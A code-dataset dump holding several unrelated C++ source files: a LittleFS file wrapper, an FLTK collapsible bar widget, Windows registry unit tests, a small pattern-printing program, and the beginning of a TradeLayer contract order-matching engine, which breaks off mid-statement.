#include "LittleFile1.hpp" #include <limits> #include <stdexcept> #include <system_error> #include "LittleFSErrorCategory.hpp" LittleFile1::LittleFile1(lfs1_t & filesystem, std::string const & path, int flags) : _filesystem(&filesystem), _file(), _open(false) { auto const result = lfs1_file_open(_filesystem, &_file, path.c_str(), flags); if (result < 0) { throw std::system_error(result, littlefs_category(), "lfs1_file_open"); } _open = true; } LittleFile1::~LittleFile1() { if (_open) { lfs1_file_close(_filesystem, &_file); _open = false; } } std::size_t LittleFile1::read(gsl::span<std::byte> buffer) { if (buffer.size() > std::numeric_limits<lfs1_size_t>::max()) { throw std::length_error("Read buffer too large"); } auto const read = lfs1_file_read(_filesystem, &_file, buffer.data(), static_cast<lfs1_size_t>(buffer.size())); if (read < 0) { throw std::system_error(read, littlefs_category(), "lfs1_file_read"); } return static_cast<std::size_t>(read); } std::size_t LittleFile1::write(gsl::span<std::byte const> buffer) { if (buffer.size() > std::numeric_limits<lfs1_size_t>::max()) { throw std::length_error("Write buffer too large"); } auto const read = lfs1_file_write(_filesystem, &_file, buffer.data(), static_cast<lfs1_size_t>(buffer.size())); if (read < 0) { throw std::system_error(read, littlefs_category(), "lfs1_file_write"); } return static_cast<std::size_t>(read); } std::size_t LittleFile1::size() const { auto const file_size = lfs1_file_size(_filesystem, &_file); if (file_size < 0) { throw std::system_error(file_size, littlefs_category(), "lfs1_file_size"); } return static_cast<std::size_t>(file_size); } std::size_t LittleFile1::position() const { auto const file_position = lfs1_file_tell(_filesystem, &_file); if (file_position < 0) { throw std::system_error(file_position, littlefs_category(), "lfs1_file_tell"); } return static_cast<std::size_t>(file_position); }
24.701149
101
0.653792
mbikovitsky
0e9c8fe4bc86416da5460816edad2fc7822048c5
4,887
cxx
C++
3rd/fltk/src/BarGroup.cxx
MarioHenze/cgv
bacb2d270b1eecbea1e933b8caad8d7e11d807c2
[ "BSD-3-Clause" ]
11
2017-09-30T12:21:55.000Z
2021-04-29T21:31:57.000Z
3rd/fltk/src/BarGroup.cxx
MarioHenze/cgv
bacb2d270b1eecbea1e933b8caad8d7e11d807c2
[ "BSD-3-Clause" ]
2
2017-07-11T11:20:08.000Z
2018-03-27T12:09:02.000Z
3rd/fltk/src/BarGroup.cxx
MarioHenze/cgv
bacb2d270b1eecbea1e933b8caad8d7e11d807c2
[ "BSD-3-Clause" ]
24
2018-03-27T11:46:16.000Z
2021-05-01T20:28:34.000Z
// // "$Id: BarGroup.cxx 5895 2007-06-08 18:17:53Z spitzak $" // // Copyright 1998-2006 by Bill Spitzak and others. // // This library is free software; you can redistribute it and/or // modify it under the terms of the GNU Library General Public // License as published by the Free Software Foundation; either // version 2 of the License, or (at your option) any later version. // // This library is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU // Library General Public License for more details. // // You should have received a copy of the GNU Library General Public // License along with this library; if not, write to the Free Software // Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 // USA. // // Please report all bugs and problems to "fltk-bugs@fltk.org". // // Based on Frametab V2 contributed by Curtis Edwards (curt1@trilec.com) #include <fltk/BarGroup.h> #include <fltk/Box.h> #include <fltk/events.h> #include <fltk/damage.h> #include <fltk/draw.h> using namespace fltk; static void revert(Style *s) { s->box_ = THIN_UP_BOX; //s->box_ = FLAT_BOX; s->color_ = GRAY75; s->labelsize_ = 10; } static NamedStyle style("BarGroup", revert, &BarGroup::default_style); NamedStyle* BarGroup::default_style = &::style; BarGroup::BarGroup(int x, int y, int w, int h, const char* title, bool begin) : Group(x, y, w, h, title, begin) { resizable(0); style(default_style); open_ = true; highlighted = false; pushed = false; glyph_size_ = 10; saved_size = h; align(ALIGN_INSIDE); } void BarGroup::glyph_box(Rectangle& r) const { int z = open_ ? glyph_size_ : saved_size; int w = this->w(); int h = this->h(); if (horizontal()) w = z; else h = z; r.set(0,0,w,h); //box()->inset(r); } int BarGroup::handle(int event) { Rectangle r; switch (event) { case ENTER: case MOVE: if (takesevents()) { glyph_box(r); bool hl = event_inside(r); if (hl != highlighted) { highlighted = hl; if (highlight_color()) redraw(DAMAGE_HIGHLIGHT); } if (hl) {fltk::belowmouse(this); return 1;} } break; case LEAVE: if (highlighted) { highlighted = false; redraw(DAMAGE_HIGHLIGHT); } break; case PUSH: glyph_box(r); if (event_inside(r)) { pushed = highlighted = true; redraw(DAMAGE_HIGHLIGHT); return true; } break; case DRAG: glyph_box(r); if (event_inside(r)) { if (!pushed) { pushed = highlighted = true; redraw(DAMAGE_HIGHLIGHT); } } else { if (pushed) { pushed = false; redraw(DAMAGE_HIGHLIGHT); } } return true; case RELEASE: if (pushed) { opened(!open_); pushed = false; highlighted = event_inside(fltk::Rectangle(glyph_size_, glyph_size_)); redraw(DAMAGE_HIGHLIGHT); do_callback(); } else if (highlighted) { highlighted = false; redraw(DAMAGE_HIGHLIGHT); } return true; case SHORTCUT: return Group::handle(event); } if (open_) return Group::handle(event); else return 0; } void BarGroup::draw() { if (open_) { if (damage() & ~DAMAGE_HIGHLIGHT) { // make it not draw the inside label: //int saved = flags(); align(ALIGN_TOP); Group::draw(); //flags(saved); } } else if (damage() & ~(DAMAGE_CHILD|DAMAGE_HIGHLIGHT)) { clear_flag(HIGHLIGHT); draw_box(); // draw the label inside it: Rectangle r(w(),h()); Flags flags = this->flags(); drawstyle(style(), flags|OUTPUT); box()->inset(r); if (horizontal()) { r.x(saved_size); r.w(r.w()-saved_size); flags &= ~(ALIGN_TOP|ALIGN_BOTTOM); flags |= ALIGN_LEFT|ALIGN_INSIDE; } else { r.y(saved_size); r.h(r.h()-saved_size); } draw_label(r, flags); } // draw the open/close button: if (damage() & (DAMAGE_EXPOSE|DAMAGE_HIGHLIGHT|DAMAGE_ALL)) { Flags flags = OUTPUT; if (pushed) flags |= PUSHED; if (highlighted) flags |= HIGHLIGHT; drawstyle(style(), flags); Rectangle r; glyph_box(r); draw_glyph(ALIGN_INSIDE|(horizontal()?ALIGN_RIGHT:ALIGN_BOTTOM), r); } } bool BarGroup::opened(bool v) { if (open_) { if (v) return false; open_ = false; if (horizontal()) { // horizontal saved_size = h(); Widget::resize(w(), glyph_size_); } else { saved_size = w(); Widget::resize(glyph_size_, h()); } } else { if (!v) return false; open_ = true; if (horizontal()) // horizontal Widget::resize(w(), saved_size); else Widget::resize(saved_size, h()); } relayout(); redraw(); return true; } // Don't move widgets around while we are closed! void BarGroup::layout() { if (open_) Group::layout(); else Widget::layout(); }
25.321244
77
0.631062
MarioHenze
0e9d4c3a1b86afe141b80004ce034c337eddf851
1,764
cpp
C++
UnitTests/Test_Registry_SetBinaryValue.cpp
ossewawiel/LibWinRegUtil
602e391b521685deec809e0ae3ae97376025ffe4
[ "MIT" ]
5
2020-09-17T08:15:14.000Z
2021-06-17T08:35:51.000Z
UnitTests/Test_Registry_SetBinaryValue.cpp
ossewawiel/LibWinRegUtil
602e391b521685deec809e0ae3ae97376025ffe4
[ "MIT" ]
null
null
null
UnitTests/Test_Registry_SetBinaryValue.cpp
ossewawiel/LibWinRegUtil
602e391b521685deec809e0ae3ae97376025ffe4
[ "MIT" ]
4
2019-12-29T00:58:23.000Z
2022-01-27T12:58:36.000Z
#include "stdafx.h" #include "Test_Registry.h" #include "TUtils.h" #include "TConstants.h" using namespace std; using namespace WinReg; using namespace TConst; TEST_F(Test_Registry_SetSBinaryValue, when_calling_setbinaryvalue_with_valid_parameters_values_expect_no_exception) { try { Registry::SetBinaryValue(eHKey::eHKeyUsers, WS_TEST_SUBKEY, WS_BINARY_VALUENAME, VUC_TESTVAL_1); vector<BYTE> vucRegVal{ Registry::GetBinaryValue(eHKey::eHKeyUsers, WS_TEST_SUBKEY, WS_BINARY_VALUENAME) }; for (const auto &val : vucRegVal) //{ // wcout << L"[ VALUE ] " << val << endl; //} ASSERT_EQ(vucRegVal, VUC_TESTVAL_1) << "[ FAILED ] vucRegVal is not equal to VUC_TESTVAL_1"; Registry::SetBinaryValue(eHKey::eHKeyUsers, WS_TEST_SUBKEY, WS_BINARY_VALUENAME, VUC_TESTVAL_2); vucRegVal = Registry::GetBinaryValue(eHKey::eHKeyUsers, WS_TEST_SUBKEY, WS_BINARY_VALUENAME); //for (const auto &val : vucRegVal) //{ // wcout << L"[ VALUE ] " << val << endl; //} ASSERT_EQ(vucRegVal, VUC_TESTVAL_2) << "[ FAILED ] vwsRegVal is not equal to VUC_TESTVAL_1"; } catch (exception &ex) { ASSERT_TRUE(false) << "[EXCEPTION ] " << TUtils::ErrMsg(ex); } catch (...) { ASSERT_TRUE(false) << "[EXCEPTION ] Unknown exception"; } } TEST_F(Test_Registry_SetSBinaryValue, when_calling_setbinaryvalue_with_invalid_hkey_expect_exception) { try { Registry::SetBinaryValue(eHKey::eHkeyNotDefined, WS_TEST_SUBKEY, WS_BINARY_VALUENAME, VUC_TESTVAL_1); ASSERT_FALSE(true) << "[ FAILED ] Expected an exception"; } catch (exception &ex) { ASSERT_TRUE(TUtils::InString(TUtils::ErrMsg(ex), WS_INVALID_PARAM_VALUE)) << "[EXCEPTION ] " << TUtils::ErrMsg(ex); } catch (...) { ASSERT_TRUE(false) << "[EXCEPTION ] Unknown exception"; } }
32.072727
117
0.722222
ossewawiel
0e9f0bbc6f5fd102b02a814a405756e7927f998c
367
cpp
C++
Practice/C++/pattern program.cpp
Sohelr360/my_codes
9bdd28f62d3850aad8f8af2a253ba66138a7057c
[ "MIT" ]
null
null
null
Practice/C++/pattern program.cpp
Sohelr360/my_codes
9bdd28f62d3850aad8f8af2a253ba66138a7057c
[ "MIT" ]
null
null
null
Practice/C++/pattern program.cpp
Sohelr360/my_codes
9bdd28f62d3850aad8f8af2a253ba66138a7057c
[ "MIT" ]
null
null
null
#include <bits/stdc++.h> using namespace std; int main() { int i,j; for (i = 7; i >=1; i--) { for (j = 1; j <= i; j++) { cout<<'S'; } cout<<endl; } for(i = 2; i <= 7; i++) { for (j = 1;j <= i; j++) { cout<<'S'; } cout<<endl; } }
15.956522
33
0.280654
Sohelr360
0e9f7a1add03fde6e828841efdea7f695012598d
93,533
cpp
C++
src/omnicore/mdex.cpp
TradeLayer/TradeLayer
2f1ea1d64870a34703d2f5d230830238c3923691
[ "MIT" ]
8
2018-11-27T15:43:22.000Z
2020-04-27T08:53:49.000Z
src/omnicore/mdex.cpp
TradeLayer/TradeLayer
2f1ea1d64870a34703d2f5d230830238c3923691
[ "MIT" ]
null
null
null
src/omnicore/mdex.cpp
TradeLayer/TradeLayer
2f1ea1d64870a34703d2f5d230830238c3923691
[ "MIT" ]
null
null
null
#include "omnicore/mdex.h" #include "omnicore/errors.h" #include "omnicore/log.h" #include "omnicore/omnicore.h" #include "omnicore/rules.h" #include "omnicore/sp.h" #include "omnicore/tx.h" #include "omnicore/uint256_extensions.h" #include "arith_uint256.h" #include "chain.h" #include "tinyformat.h" #include "uint256.h" #include "omnicore/tradelayer_matrices.h" #include "omnicore/externfns.h" #include "omnicore/operators_algo_clearing.h" #include "validation.h" #include <univalue.h> #include <boost/lexical_cast.hpp> #include <boost/multiprecision/cpp_int.hpp> #include <boost/rational.hpp> #include <openssl/sha.h> #include <assert.h> #include <stdint.h> #include <iostream> #include <fstream> #include <limits> #include <map> #include <set> #include <string> typedef boost::multiprecision::cpp_dec_float_100 dec_float; typedef boost::multiprecision::checked_int128_t int128_t; using namespace mastercore; //! Number of digits of unit price #define DISPLAY_PRECISION_LEN 50 //! Global map for price and order data md_PropertiesMap mastercore::metadex; extern volatile uint64_t marketPrice; extern volatile int idx_q; extern int64_t factorE; extern uint64_t marketP[NPTYPES]; extern int expirationAchieve; extern std::vector<std::map<std::string, std::string>> path_ele; extern int n_cols; extern int n_rows; extern MatrixTLS *pt_ndatabase; md_PricesMap* mastercore::get_Prices(uint32_t prop) { md_PropertiesMap::iterator it = metadex.find(prop); if (it != metadex.end()) return &(it->second); return (md_PricesMap*) NULL; } md_Set* mastercore::get_Indexes(md_PricesMap* p, rational_t price) { md_PricesMap::iterator it = p->find(price); if (it != p->end()) return &(it->second); return (md_Set*) NULL; } /********************************************************/ /** New things for Contracts */ cd_PropertiesMap mastercore::contractdex; cd_PricesMap *mastercore::get_PricesCd(uint32_t prop) { cd_PropertiesMap::iterator it = contractdex.find(prop); if (it != contractdex.end()) return &(it->second); return (cd_PricesMap*) NULL; } cd_Set *mastercore::get_IndexesCd(cd_PricesMap *p, uint64_t price) { cd_PricesMap::iterator it = p->find(price); if (it != p->end()) return &(it->second); return (cd_Set*) NULL; } void mastercore::LoopBiDirectional(cd_PricesMap* const ppriceMap, uint8_t trdAction, MatchReturnType &NewReturn, CMPContractDex* const pnew, const uint32_t propertyForSale) { cd_PricesMap::iterator it_fwdPrices; cd_PricesMap::reverse_iterator it_bwdPrices; std::vector<std::map<std::string, std::string>>::iterator it_path_ele; /** Calling for settlement algorithm when the expiration date has been achieved */ if ( expirationAchieve ) { PrintToLog("expirationAchieve: %d\n", expirationAchieve); // PrintToConsole("Path for Settlement:\n"); // for (it_path_ele = path_ele.begin(); it_path_ele != path_ele.end(); ++it_path_ele) printing_edges_database(*it_path_ele); // cout << "\n"; pt_ndatabase = new MatrixTLS(path_ele.size(), n_cols); MatrixTLS &ndatabase = *pt_ndatabase; MatrixTLS M_file(path_ele.size(), n_cols); fillingMatrix(M_file, ndatabase, path_ele); n_rows = size(M_file, 0); PrintToLog("Matrix for Settlement: dim = (%d, %d)\n\n", n_rows, n_cols); printing_matrix(M_file); cout << "\n\n"; PrintToLog("\nCalling the Settlement Algorithm:\n\n"); settlement_algorithm_fifo(M_file); } if ( trdAction == BUY ) { for (it_fwdPrices = ppriceMap->begin(); it_fwdPrices != ppriceMap->end(); ++it_fwdPrices) { const uint64_t sellerPrice = it_fwdPrices->first; if ( pnew->getEffectivePrice() < sellerPrice ) continue; x_TradeBidirectional(it_fwdPrices, it_bwdPrices, trdAction, pnew, sellerPrice, propertyForSale, NewReturn); } } else { for (it_bwdPrices = ppriceMap->rbegin(); it_bwdPrices != ppriceMap->rend(); ++it_bwdPrices) { const uint64_t sellerPrice = it_bwdPrices->first; if ( pnew->getEffectivePrice() > sellerPrice ) continue; x_TradeBidirectional(it_fwdPrices, it_bwdPrices, trdAction, pnew, sellerPrice, propertyForSale, NewReturn); } } } void mastercore::x_TradeBidirectional(typename cd_PricesMap::iterator &it_fwdPrices, typename cd_PricesMap::reverse_iterator &it_bwdPrices, uint8_t trdAction, CMPContractDex* const pnew, const uint64_t sellerPrice, const uint32_t propertyForSale, MatchReturnType &NewReturn) { cd_Set* const pofferSet = trdAction == BUY ? &(it_fwdPrices->second) : &(it_bwdPrices->second); /** At good (single) price level and property iterate over offers looking at all parameters to find the match */ cd_Set::iterator offerIt = pofferSet->begin(); while ( offerIt != pofferSet->end() ) /** Specific price, check all properties */ { const CMPContractDex* const pold = &(*offerIt); assert(pold->getEffectivePrice() == sellerPrice); std::string tradeStatus = pold->getEffectivePrice() == sellerPrice ? "Matched" : "NoMatched"; /** Match Conditions */ bool boolProperty = pold->getProperty() != propertyForSale; bool boolTrdAction = pold->getTradingAction() == pnew->getTradingAction(); bool boolEffPrice = pnew->getEffectivePrice() != pold->getEffectivePrice(); bool boolAddresses = pold->getAddr() == pnew->getAddr(); if ( findTrueValue(boolProperty, boolTrdAction, boolEffPrice, boolAddresses) ) { ++offerIt; continue; } idx_q += 1; const int idx_qp = idx_q; PrintToLog("Checking idx_q = %d", idx_qp); CMPSPInfo::Entry sp; assert(_my_sps->getSP(propertyForSale, sp)); uint32_t marginRequirementContract = sp.margin_requirement; int64_t marginRequirement = static_cast<int64_t>(marginRequirementContract); uint32_t collateralCurrency = sp.collateral_currency; uint32_t notionalSize = sp.notional_size; PrintToLog("\n---------------------------------------------------\n"); PrintToLog("Inside x_trade function:\n"); PrintToLog("marginRequirement : %d\n", marginRequirement); PrintToLog("marginRequirementContract : %d\n", marginRequirementContract); PrintToLog("collateral currency id of contract : %d\n",collateralCurrency); PrintToLog("notional size : %d\n",notionalSize); /********************************************************/ /** Preconditions */ assert(pold->getProperty() == pnew->getProperty()); PrintToLog("________________________________________________________\n"); PrintToLog("Inside x_trade:\n"); PrintToLog("Checking effective prices and trading actions:\n"); PrintToLog("Effective price pold: %d\n", FormatContractShortMP(pold->getEffectivePrice()) ); PrintToLog("Effective price pnew: %d\n", FormatContractShortMP(pnew->getEffectivePrice()) ); PrintToLog("Amount for sale pold: %d\n", pold->getAmountForSale() ); PrintToLog("Amount for sale pnew: %d\n", pnew->getAmountForSale() ); PrintToLog("Trading action pold: %d\n", pold->getTradingAction() ); PrintToLog("Trading action pnew: %d\n", pnew->getTradingAction() ); PrintToLog("Trade Status: %s\n", tradeStatus); /********************************************************/ uint32_t property_traded = pold->getProperty(); int64_t poldPositiveBalanceB = getMPbalance(pold->getAddr(), property_traded, POSSITIVE_BALANCE); int64_t pnewPositiveBalanceB = getMPbalance(pnew->getAddr(), property_traded, POSSITIVE_BALANCE); int64_t poldNegativeBalanceB = getMPbalance(pold->getAddr(), property_traded, NEGATIVE_BALANCE); int64_t pnewNegativeBalanceB = getMPbalance(pnew->getAddr(), property_traded, NEGATIVE_BALANCE); PrintToLog("poldPositiveBalanceB: %d, poldNegativeBalanceB: %d\n", poldPositiveBalanceB, poldNegativeBalanceB); PrintToLog("pnewPositiveBalanceB: %d, pnewNegativeBalanceB: %d\n", pnewPositiveBalanceB, pnewNegativeBalanceB); int64_t possitive_sell = (pold->getTradingAction() == SELL) ? poldPositiveBalanceB : pnewPositiveBalanceB; int64_t negative_sell = (pold->getTradingAction() == SELL) ? poldNegativeBalanceB : pnewNegativeBalanceB; int64_t possitive_buy = (pold->getTradingAction() == SELL) ? pnewPositiveBalanceB : poldPositiveBalanceB; int64_t negative_buy = (pold->getTradingAction() == SELL) ? pnewNegativeBalanceB : poldNegativeBalanceB; int64_t seller_amount = (pold->getTradingAction() == SELL) ? pold->getAmountForSale() : pnew->getAmountForSale(); int64_t buyer_amount = (pold->getTradingAction() == SELL) ? pnew->getAmountForSale() : pold->getAmountForSale(); std::string seller_address = (pold->getTradingAction() == SELL) ? pold->getAddr() : pnew->getAddr(); std::string buyer_address = (pold->getTradingAction() == SELL) ? pnew->getAddr() : pold->getAddr(); /********************************************************/ int64_t nCouldBuy = buyer_amount < seller_amount ? buyer_amount : seller_amount; PrintToLog("This is the nCouldBuy %d\n", nCouldBuy); PrintToLog("possitive_sell: %d, negative_sell: %d\n", possitive_sell, negative_sell); PrintToLog("possitive_buy: %d, negative_buy: %d\n", possitive_buy, negative_buy); if (nCouldBuy == 0) { // if (msc_debug_metadex1) PrintToLog("The buyer has not enough contracts for sale!\n"); ++offerIt; continue; } /********************************************************/ int64_t difference_s = 0, difference_b = 0; if ( possitive_sell != 0 ) { difference_s = possitive_sell - nCouldBuy; if (difference_s >= 0) assert(update_tally_map(seller_address, property_traded, -nCouldBuy, POSSITIVE_BALANCE)); else { assert(update_tally_map(seller_address, property_traded, -possitive_sell, POSSITIVE_BALANCE)); assert(update_tally_map(seller_address, property_traded, -difference_s, NEGATIVE_BALANCE)); } } else if ( negative_sell != 0 || negative_sell == 0 || possitive_sell == 0 ) assert(update_tally_map(seller_address, property_traded, nCouldBuy, NEGATIVE_BALANCE)); if ( negative_buy != 0 ) { difference_b = negative_buy - nCouldBuy; if (difference_b >= 0) assert(update_tally_map(buyer_address, property_traded, -nCouldBuy, NEGATIVE_BALANCE)); else { assert(update_tally_map(buyer_address, property_traded, -negative_buy, NEGATIVE_BALANCE)); assert(update_tally_map(buyer_address, property_traded, -difference_b, POSSITIVE_BALANCE)); } } else if ( possitive_buy != 0 || possitive_buy == 0 || negative_buy == 0 ) assert(update_tally_map(buyer_address, property_traded, nCouldBuy, POSSITIVE_BALANCE)); /********************************************************/ int64_t poldPositiveBalanceL = getMPbalance(pold->getAddr(), property_traded, POSSITIVE_BALANCE); int64_t pnewPositiveBalanceL = getMPbalance(pnew->getAddr(), property_traded, POSSITIVE_BALANCE); int64_t poldNegativeBalanceL = getMPbalance(pold->getAddr(), property_traded, NEGATIVE_BALANCE); int64_t pnewNegativeBalanceL = getMPbalance(pnew->getAddr(), property_traded, NEGATIVE_BALANCE); std::string Status_s = "Empty"; std::string Status_b = "Empty"; NewReturn = TRADED; CMPContractDex contract_replacement = *pold; int64_t creplNegativeBalance = getMPbalance(contract_replacement.getAddr(), property_traded, NEGATIVE_BALANCE); int64_t creplPositiveBalance = getMPbalance(contract_replacement.getAddr(), property_traded, POSSITIVE_BALANCE); PrintToLog("poldPositiveBalance: %d, poldNegativeBalance: %d\n", poldPositiveBalanceL, poldNegativeBalanceL); PrintToLog("pnewPositiveBalance: %d, pnewNegativeBalance: %d\n", pnewPositiveBalanceL, pnewNegativeBalanceL); PrintToLog("creplPositiveBalance: %d, creplNegativeBalance: %d\n", creplPositiveBalance, creplNegativeBalance); int64_t remaining = seller_amount >= buyer_amount ? seller_amount - buyer_amount : buyer_amount - seller_amount; if ( (seller_amount > buyer_amount && pold->getTradingAction() == SELL) || (seller_amount < buyer_amount && pold->getTradingAction() == BUY)) { contract_replacement.setAmountForsale(remaining, "moreinseller"); pnew->setAmountForsale(0, "no_remaining"); NewReturn = TRADED_MOREINSELLER; } else if ( (seller_amount < buyer_amount && pold->getTradingAction() == SELL) || (seller_amount > buyer_amount && pold->getTradingAction() == BUY)) { contract_replacement.setAmountForsale(0, "no_remaining"); pnew->setAmountForsale(remaining, "moreinbuyer"); NewReturn = TRADED_MOREINBUYER; } else if (seller_amount == buyer_amount) { pnew->setAmountForsale(0, "no_remaining"); contract_replacement.setAmountForsale(0, "no_remaining"); NewReturn = TRADED; } /********************************************************/ int64_t countClosedSeller = 0, countClosedBuyer = 0; if ( possitive_sell > 0 && negative_sell == 0 ) { if ( pold->getTradingAction() == SELL ) { Status_s = possitive_sell > creplPositiveBalance && creplPositiveBalance != 0 ? "LongPosNettedPartly" : ( creplPositiveBalance == 0 && creplNegativeBalance == 0 ? "LongPosNetted" : ( creplPositiveBalance == 0 && creplNegativeBalance > 0 ? "OpenShortPosByLongPosNetted" : "LongPosIncreased") ); countClosedSeller = creplPositiveBalance == 0 ? possitive_sell : abs( possitive_sell - creplPositiveBalance ); } else { Status_s = possitive_sell > pnewPositiveBalanceL && pnewPositiveBalanceL != 0 ? "LongPosNettedPartly" : ( pnewPositiveBalanceL == 0 && pnewNegativeBalanceL == 0 ? "LongPosNettedPartly" : ( pnewPositiveBalanceL == 0 && pnewNegativeBalanceL > 0 ? "OpenShortPosByLongPosNetted": "LongPosIncreased") ); countClosedSeller = pnewPositiveBalanceL == 0 ? possitive_sell : abs( possitive_sell - pnewPositiveBalanceL ); } } else if ( negative_sell > 0 && possitive_sell == 0 ) { if ( pold->getTradingAction() == SELL ) { Status_s = negative_sell > creplNegativeBalance && creplNegativeBalance != 0 ? "ShortPosNettedPartly" : ( creplNegativeBalance == 0 && creplPositiveBalance == 0 ? "ShortPosNetted" : ( creplNegativeBalance == 0 && creplPositiveBalance > 0 ? "OpenLongPosByShortPosNetted" : "ShortPosIncreased") ); countClosedSeller = creplNegativeBalance == 0 ? negative_sell : abs( negative_sell - creplNegativeBalance ); } else { Status_s = negative_sell > pnewNegativeBalanceL && pnewNegativeBalanceL != 0 ? "ShortPosNettedPartly" : ( pnewNegativeBalanceL == 0 && pnewPositiveBalanceL == 0 ? "ShortPosNetted" : ( pnewNegativeBalanceL == 0 && pnewPositiveBalanceL > 0 ? "OpenLongPosByShortPosNetted" : "ShortPosIncreased") ); countClosedSeller = pnewNegativeBalanceL == 0 ? negative_sell : abs( negative_sell - pnewNegativeBalanceL ); } } else if ( negative_sell == 0 && possitive_sell == 0 ) { if ( pold->getTradingAction() == SELL ) Status_s = creplPositiveBalance > 0 ? "OpenLongPosition" : "OpenShortPosition"; else Status_s = pnewPositiveBalanceL > 0 ? "OpenLongPosition" : "OpenShortPosition"; countClosedSeller = 0; } /********************************************************/ if ( possitive_buy > 0 && negative_buy == 0 ) { if ( pold->getTradingAction() == BUY ) { Status_b = possitive_buy > creplPositiveBalance && creplPositiveBalance != 0 ? "LongPosNettedPartly" : ( creplPositiveBalance == 0 && creplNegativeBalance == 0 ? "LongPosNetted" : ( creplPositiveBalance == 0 && creplNegativeBalance > 0 ? "OpenShortPosByLongPosNetted" : "LongPosIncreased") ); countClosedBuyer = creplPositiveBalance == 0 ? possitive_buy : abs( possitive_buy - creplPositiveBalance ); } else { Status_b = possitive_buy > pnewPositiveBalanceL && pnewPositiveBalanceL != 0 ? "LongPosNettedPartly" : ( pnewPositiveBalanceL == 0 && pnewNegativeBalanceL == 0 ? "LongPosNetted" : ( pnewPositiveBalanceL == 0 && pnewNegativeBalanceL > 0 ? "OpenShortPosByLongPosNetted" : "LongPosIncreased") ); countClosedBuyer = pnewPositiveBalanceL == 0 ? possitive_buy : abs( possitive_buy - pnewPositiveBalanceL ); } } else if ( negative_buy > 0 && possitive_buy == 0 ) { if ( pold->getTradingAction() == BUY ) { Status_b = negative_buy > creplNegativeBalance && creplNegativeBalance != 0 ? "ShortPosNettedPartly" : ( creplNegativeBalance == 0 && creplPositiveBalance == 0 ? "ShortPosNetted" : ( creplNegativeBalance == 0 && creplPositiveBalance > 0 ? "OpenLongPosByShortPosNetted" : "ShortPosIncreased" ) ); countClosedBuyer = creplNegativeBalance == 0 ? negative_buy : abs( negative_buy - creplNegativeBalance ); } else { Status_b = negative_buy > pnewNegativeBalanceL && pnewNegativeBalanceL != 0 ? "ShortPosNettedPartly" : ( pnewNegativeBalanceL == 0 && pnewPositiveBalanceL == 0 ? "ShortPosNetted" : ( pnewNegativeBalanceL == 0 && pnewPositiveBalanceL > 0 ? "OpenLongPosByShortPosNetted" : "ShortPosIncreased") ); countClosedBuyer = pnewNegativeBalanceL == 0 ? negative_buy : abs( negative_buy - pnewNegativeBalanceL ); } } else if ( negative_buy == 0 && possitive_buy == 0 ) { if ( pold->getTradingAction() == BUY ) Status_b = creplPositiveBalance > 0 ? "OpenLongPosition" : "OpenShortPosition"; else Status_b = pnewPositiveBalanceL > 0 ? "OpenLongPosition" : "OpenShortPosition"; countClosedBuyer = 0; } /********************************************************/ int64_t lives_maker = 0, lives_taker = 0; if( creplPositiveBalance > 0 && creplNegativeBalance == 0 ) lives_maker = creplPositiveBalance; else if( creplNegativeBalance > 0 && creplPositiveBalance == 0 ) lives_maker = creplNegativeBalance; if( pnewPositiveBalanceL && pnewNegativeBalanceL == 0 ) lives_taker = pnewPositiveBalanceL; else if( pnewNegativeBalanceL > 0 && pnewPositiveBalanceL == 0 ) lives_taker = pnewNegativeBalanceL; if ( countClosedSeller < 0 ) countClosedSeller = 0; if ( countClosedBuyer < 0 ) countClosedBuyer = 0; /********************************************************/ std::string Status_maker = "", Status_taker = ""; if (pold->getAddr() == seller_address) { Status_maker = Status_s; Status_taker = Status_b; } else { Status_maker = Status_b; Status_taker = Status_s; } PrintToLog("Status_maker = %d, Status_taker = %d\n", Status_maker, Status_taker); std::string Status_s0 = "EmptyStr", Status_s1 = "EmptyStr", Status_s2 = "EmptyStr", Status_s3 = "EmptyStr"; std::string Status_b0 = "EmptyStr", Status_b1 = "EmptyStr", Status_b2 = "EmptyStr", Status_b3 = "EmptyStr"; int64_t lives_maker0 = 0, lives_maker1 = 0, lives_maker2 = 0, lives_maker3 = 0; int64_t lives_taker0 = 0, lives_taker1 = 0, lives_taker2 = 0, lives_taker3 = 0; int64_t nCouldBuy0 = 0, nCouldBuy1 = 0, nCouldBuy2 = 0, nCouldBuy3 = 0; lives_maker0 = lives_maker; lives_taker0 = lives_taker; nCouldBuy0 = nCouldBuy; /********************************************************/ if ( pold->getTradingAction() == SELL ) { // If maker Sell and Open Short by Long Netted: status_sj -> makers if ( Status_maker == "OpenShortPosByLongPosNetted" ) { if ( Status_taker == "OpenLongPosByShortPosNetted" ) { if ( possitive_sell > negative_buy ) { Status_s1 = "LongPosNettedPartly"; lives_maker1 = possitive_sell - negative_buy; Status_b1 = "ShortPosNetted"; lives_taker1 = 0; nCouldBuy1 = negative_buy; Status_s2 = "LongPosNetted"; lives_maker2 = 0; Status_b2 = "OpenLongPosition"; lives_taker2 = lives_maker1; nCouldBuy2 = lives_maker1; Status_s3 = "OpenShortPosition"; lives_maker3 = nCouldBuy - possitive_sell; Status_b3 = "LongPosIncreased"; lives_taker3 = lives_taker2 + lives_maker3; nCouldBuy3 = lives_maker3; } else if ( possitive_sell < negative_buy ) { Status_s1 = "LongPosNetted"; lives_maker1 = 0; Status_b1 = "ShortPosNettedPartly"; lives_taker1 = negative_buy - possitive_sell; nCouldBuy1 = possitive_sell; Status_s2 = "OpenShortPosition"; lives_maker2 = negative_buy - possitive_sell; Status_b2 = "ShortPosNetted"; lives_taker2 = 0; nCouldBuy2 = lives_maker2; Status_b3 = "OpenLongPosition"; lives_taker3 = nCouldBuy - negative_buy; Status_s3 = "ShortPosIncreased"; lives_maker3 = lives_maker2 + lives_taker3; nCouldBuy3 = lives_taker3; } else if ( possitive_sell == negative_buy ) { Status_s1 = "LongPosNetted"; lives_maker1 = 0; Status_b1 = "ShortPosNetted"; lives_taker1 = 0; nCouldBuy1 = possitive_sell; Status_s2 = "OpenShortPosition"; lives_maker2 = nCouldBuy - possitive_sell; Status_b2 = "OpenLongPosition"; lives_taker2 = lives_maker2; nCouldBuy2 = lives_maker2; } } else if ( Status_taker == "ShortPosNettedPartly" ) { Status_s1 = "LongPosNetted"; lives_maker1 = 0; Status_b1 = "ShortPosNettedPartly"; lives_taker1 = negative_buy - possitive_sell; nCouldBuy1 = possitive_sell; Status_s2 = "OpenShortPosition"; lives_maker2 = nCouldBuy - possitive_sell; Status_b2 = 